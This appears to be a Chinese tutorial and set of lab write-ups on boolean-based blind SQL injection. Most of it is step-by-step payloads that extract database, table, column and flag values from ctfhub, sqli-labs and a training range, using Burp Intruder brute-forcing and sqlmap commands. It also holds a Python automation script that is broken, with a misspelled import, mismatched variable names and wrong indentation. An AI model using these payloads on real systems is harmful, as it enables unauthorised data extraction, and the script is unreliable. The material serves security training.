请勿截屏传播

布尔盲注

布尔盲注是 SQL 注入的一种类型,核心特点是 ==页面不直接显示查询结果或错误信息== ,而是通过返回页面的布尔状态(如“成功/失败”“显示/不显示”)来判断注入语句的执行结果,从而逐步推断数据库中的敏感信息。

1.什么是布尔盲注

布尔盲注是 SQL 注入的一种类型,核心特点是 ==页面不直接显示查询结果或错误信息== ,而是通过返回页面的布尔状态(如“成功/失败”“显示/不显示”)来判断注入语句的执行结果,从而逐步推断数据库中的敏感信息。

核心原理

布尔盲注利用 SQL 语句的逻辑判断(如 AND 、 OR )构造条件,根据页面返回的状态( TRUE 或 FALSE )来验证假设是否成立。例如:

  • 构造 id=1' AND 1=1 -- ,若页面正常显示,说明 1=1 为真(注入成功)。
  • 构造 id=1' AND 1=2 -- ,若页面不显示内容,说明 1=2 为假(注入成功)。 通过这种方式,攻击者可以逐位猜测数据库中的信息(如数据库名、表名、字段值)。

2.怎么判断是否为布尔盲注

一、基础测试:确认注入点存在

  1. 输入单引号 :访问 http://target/?id=1' ,观察页面响应:
    • 若返回详细 SQL 错误信息(如 You have an error in your SQL syntax ),说明可能是 报错注入 ,而非布尔盲注。
    • 若页面无错误信息,仅显示“查询失败”“无数据”或页面空白/状态变化,说明可能是布尔盲注。

二、关键测试:验证布尔逻辑响应

构造 逻辑真 和 逻辑假 的 SQL 语句,观察页面是否返回不同状态:

1. 测试逻辑真(TRUE)

输入 http://target/?id=1' AND 1=1 -- ,观察页面响应:

  • 若页面正常显示(如返回原始内容“查询成功”),说明 AND 1=1 被执行且为真,注入语句生效。
2. 测试逻辑假(FALSE)

输入 http://target/?id=1' AND 1=2 -- ,观察页面响应:

  • 若页面异常(如显示“无数据”“查询失败”或页面空白),说明 AND 1=2 被执行且为假,注入句生效。
3. 对比响应差异
  • 若“逻辑真”和“逻辑假”的请求返回 不同状态 (如一个显示内容,一个不显示),则可确认存在 布尔盲注

3.解决步骤

1. 获取数据库名

  • 步骤1:确定数据库名长度 构造 length(database())=N 的条件,通过二分法测试 N 的值,直到页面正常显示:
    text
    http://target/?id=1' AND length
    (database())=8 -- (假设长度为8)
    
  • 步骤2:逐位猜测数据库名字符 使用 substring() 截取每一位,结合 ascii() 转换为 ASCII 码,通过比较操作符判断字符: http://target/?id=1' AND ascii (substring(database(),1,1))=115  -- (判断第1位是否为 's',ASCII  115)
  • 当SQL语句中#,-- 被过滤了,使用1’ and length(database())=8 and '1'=1'

2. 获取表名

  • 步骤1:确定表的数量 构造 count(table_name) 的条件,测试表的数量:
    text
    http://target/?id=1' AND 
    (select count(table_name) from 
    information_schema.tables where 
    table_schema=database())=4 -- 
    (假设4个表)
    
  • 步骤2:逐位猜测表名 使用 limit 语句逐个获取表名,结合 length() 和 ascii() 逐位猜测: # 先确定第一个表名长度 http://target/?id=1' AND length ((select table_name from  information_schema.tables where  table_schema=database() limit 0, 1))=5 -- (假设长度为5)
    # 逐位猜测第一个表名 http://target/?id=1' AND ascii (substring((select table_name  from information_schema.tables  where table_schema=database()  limit 0,1),1,1))=102 -- (判断第1 位是否为 'f',ASCII 102)

3. 获取字段名

  • 步骤1:确定字段数量 针对目标表(如 flag 表),测试字段数量:
    text
    http://target/?id=1' AND 
    (select count(column_name) from 
    information_schema.columns 
    where table_schema=database() 
    and table_name='flag')=1 -- (假
    设1个字段)
    
  • 步骤2:逐位猜测字段名 结合 length() 和 ascii() 逐位猜测字段名:
    http://target/?id=1' AND ascii (substring((select column_name  from information_schema.columns  where table_schema=database()  and table_name='flag' limit 0, 1),1,1))=102 -- (判断第1位是否为  'f')

4. 获取数据(如 flag)

  • 步骤1:确定数据长度 测试目标字段(如 flag 字段)的值长度:
    text
    http://target/?id=1' AND length
    ((select flag from flag))=32 -- 
    (假设长度为32)
    
  • 步骤2:逐位猜测数据 逐位猜测 flag 的值:
    http://target/?id=1' AND ascii (substring((select flag from  flag),1,1))=102 -- (判断第1位是否 为 'f')

4.ctfhub(布尔盲注)

1. 访问目标页面

首先访问目标地址:`http://challenge-84616cbe770facd1.sandbox.ctfhub.com:10800/

2. 测试注入点

  • 访问 /?id=1,页面正常显示
  • 访问 /?id=1',页面显示异常
  • 访问 /?id=1' AND 1=1 --+,页面正常显示
  • 访问 /?id=1' AND 1=2 --+,页面显示异常

这表明存在 SQL 布尔盲注漏洞,我们可以利用此漏洞获取数据库信息。

1. 获取数据库名称

1.1 确定数据库名称长度

使用 LENGTH() 函数确定数据库名称的长度:

text
/?id=1' AND LENGTH(database()) > 1 --+

/?id=1' AND LENGTH(database()) > 2 --+

...

/?id=1' AND LENGTH(database()) = 8 --+

通过测试,确定数据库名称长度为 8。

1.2 逐字符获取数据库名称

使用 SUBSTRING() 函数和 ASCII() 函数逐字符获取数据库名称:

text
/?id=1' AND ASCII(SUBSTRING(database(), 1, 1)) > 96 --+

/?id=1' AND ASCII(SUBSTRING(database(), 1, 1)) > 100 --+

...

/?id=1' AND ASCII(SUBSTRING(database(), 1, 1)) = 115 --+

通过测试,获取数据库名称为 sqli_84616c

2. 获取表名

2.1 确定表的数量

使用 COUNT() 函数确定数据库中的表数量:

text
/?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()) > 0 --+

通过测试,确定表数量为 2。

2.2 确定表名长度

使用 LENGTH() 函数确定表名的长度:

text
/?id=1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)) > 1 --+

通过测试,确定第一个表名长度为 5,第二个表名长度为 4。

.3 逐字符获取表名

使用 SUBSTRING() 函数和 ASCII() 函数逐字符获取表名:

text
/?id=1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 1, 1)) > 96 --+

通过测试,获取表名为 usersflag

3. 获取列名

3.1 确定 flag 表中的列数量

使用 COUNT() 函数确定 flag 表中的列数量:

text
/?id=1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='flag') > 0 --+

通过测试,确定列数量为 2。

3.2 确定列名长度

使用 LENGTH() 函数确定列名的长度:

text
/?id=1' AND LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1)) > 1 --+

通过测试,确定第一个列名长度为 2,第二个列名长度为 4。

3.3 逐字符获取列名

使用 SUBSTRING() 函数和 ASCII() 函数逐字符获取列名:

text
/?id=1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='flag' LIMIT 0,1), 1, 1)) > 96 --+

通过测试,获取列名为 idflag

4. 获取 flag 数据

4.1 确定 flag 数据长度

使用 LENGTH() 函数确定 flag 数据的长度:

text
/?id=1' AND LENGTH((SELECT flag FROM flag LIMIT 0,1)) > 1 --+

通过测试,确定 flag 数据长度为 32。

4.2 逐字符获取 flag 数据

使用 SUBSTRING() 函数和 ASCII() 函数逐字符获取 flag 数据:

text
/?id=1' AND ASCII(SUBSTRING((SELECT flag FROM flag LIMIT 0,1), 1, 1)) > 96 --+

通过测试,获取完整的 flag 数据。

自动化脚本

为了提高效率,我们可以编写一个自动化脚本来执行布尔盲注:

python
import request  
import string
url = "....."

#select = "select database()"
#select = "select group_concat(table_name) from information.schema.tables where table_schema=database()"
#select = "select group_concat(column_name) from information.schema.columns where table_schema=database() and table_name='表名'"
#select = "select group_concat(username) from 表名"
result = ""
for i in range(1,100):
	for ch in string.ascii_letters + string.digits + ",:}{_":
	patload = f"1' and substr(({select}),{i},1) = '{ch}'%23"
	r = request.get(url = url +  payload)
	if "页面所返回的字符" in  r.text:
		result += ch
		print(result)
		break
	if ch == "_":
		print("{****} 注入完成")
		exit(0)	

5.sqli-labs Less-8

?id=1 yes(You are in ) ?id=1' no ?id=1' and 1=1 %23 yes ?id=1' and 1=2 %23 no ?id=1' and length(database())=8 %23 yes(库名长度为8) ?id=1' and ascii(substr(database(),1,1))=115 %23 yes 115=s ?id=1' and ascii(substr(database(),2,1))=101 %23 yes 101=e ......库名为security ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 %23 yes(4个表) ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 %23 yes(第一个表名长度为6) ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23 yes 101=e ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23 yes 109=m ..... 最后找到所需的表users ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' )=3 %23 yes 有3个列 ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 %23 yes 105=i ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),2,1))=100 %23 yes 100=d ....

6.好靶场

步骤1:打开靶场,得到以下页面。

步骤2:找到注入点。

  • 正常情况下:输入相应的id,页面会返回你查询的内容是否存在,如图所示。
    -(在这里我发现当id大于8时,页面就会返回flase,不知道和order by语句有没有关系)
  • 单、双引号、括号什么的都去试一下,我这里发现他好像是直接拼接进去的,不需要构造闭合。

步骤3:开始插入语句,获取数据库的名字。

  • Payload:1 AND (SELECT LENGTH(DATABASE())) = {猜测数据库长度}
    -这里数量不多,在输入框里一个一个试,或者现在打开BP直接爆破都可以。

    最后我们得到,数据库的字符长度是17。
  • 遇到的问题:在这里一定要注意括号匹配等语法问题,因为如果你输入的语法有问题,页面也是会返回false。
  • 解决方案:建议打开一个文本文档,方便记录的同时也方便你去对payload进行修改,毕竟这个输入框的大小比较小。

步骤4:开始爆破数据库名。

  • 首先需要新建一个字典(文本文档),内容需要包括a ~ z、0 ~ 9和部分特殊字符(如果说发现后期爆破结果不完整再加上大写的字母)。
  • 打开BP内置浏览器并转到相应网址。
  • 开始逐位尝试,输入payload以后用BP抓一次包。
    Payload:1 AND (SELECT SUBSTRING(DATABASE(), 1, 1)) = '{猜测字符}'
  • 将数据包发送到Instruder中,并开始尝试爆破。

    在这里我们攻击方式选择Cluster bomb,并且添加两个替换变量(这里显示的是经过URL编码,需要仔细看一下,%20是空格,%2C是逗号)

    配置第一个替换变量

    配置第二个替换变量

    点击Start attack,开始跑表,这里一共十七位,一个一个对着看发现和前面关卡中所使用的数据库名是一样的——sql_injection_lab

步骤5:判断表中的内容是否存在,并爆破表名、列名

  • 首先需要确定数据库中拥有哪些表,常见的表有id、username、password或者email什么的。我们这里针对性强一些,直接查询是否存在flag这个表。
  • 在MySQL版本>5.0以后有几个重要的名称,information_schema(该数据库的总表)、information_schema.tables(数据库中所有的表名)、information_schema.columns(数据库中所有列名/字段名)。
    尝试构造语句查询数据库中是否存在flag表。
    payload:1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='sql_injection_lab' AND table_name='flag') = 1
    结果如下,发现确实存在flag表。
  • 确认表格的存在后,开始查询flag是否存在(因为一般flag的值都会放在这个字段中)。
  • 具体的方法和查询flag表类似,就是再加入一个限定条件。
    payload:1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='sql_injection_lab' AND table_name='flag' AND column_name='flag') = 1

    可以看出,结果是flag字段是存在的。

步骤5:爆破flag的值

  • 具体方法和步骤3中获取数据库名称是一样的,这里就不赘述了,直接贴出payload,跳到使用BP爆破的步骤。
  • 首先确认flag的长度(说实话,我也是够懒的,没数过,不然都不用这一步)。
  • Payload:1 AND LENGTH((SELECT flag FROM sql_injection_lab.flag)) = {猜测长度}
    选择Sniper模式,并且找到需要替换的变量。

    点击攻击后筛选数据得到flag长度为42。(可以看到我这里是从20开始的算是偷个懒)
  • 接下来就是开始爆破内容了,和上述步骤一样,但是会有两个替换变量,而且第一个替换变量需要从1~42
  • Payload:1 AND (SELECT SUBSTRING((SELECT flag FROM sql_injection_lab.flag LIMIT 0, 1), {位数}, 1)) = '{替换字符}'

    设置变量。


    设置好两个替换变量后,直接点击开始攻击,将内容过滤后会得到下面的图。

    这里的数据需要过滤一下,不然太多了,具体步骤就是单击length,将返回数据长度为237的全部选中,并添加高亮。

    只将高亮部分显示出来。

    最后开始筛选重组所获取的信息,因为我不是很会使用BP,所以我使用的是表格进行筛选和转置,最后获得了flag。
    这里我就不贴答案了,这个真的值得大家试一下,说不定就会有什么意想不到的发现。

7.sqlmap的布尔盲注命令

python sqlmap.py -u "url" --technique B --batch --dbs python sqlmap.py -u "http://3fk0io1.haobachang2.loveli.com.cn:8888/check?id=1" --technique B --batch -D 库名 --tables python sqlmap.py -u "http://3fk0io1.haobachang2.loveli.com.cn:8888/check?id=1" --technique B --batch -D 库名 -T 表名 --columns python sqlmap.py -u "http://3fk0io1.haobachang2.loveli.com.cn:8888/check?id=1" --technique B --batch -D 库名 -T 表名 -C "字段1,字段2" --dump

宽字节注入
时间盲注

评论区

评论加载中...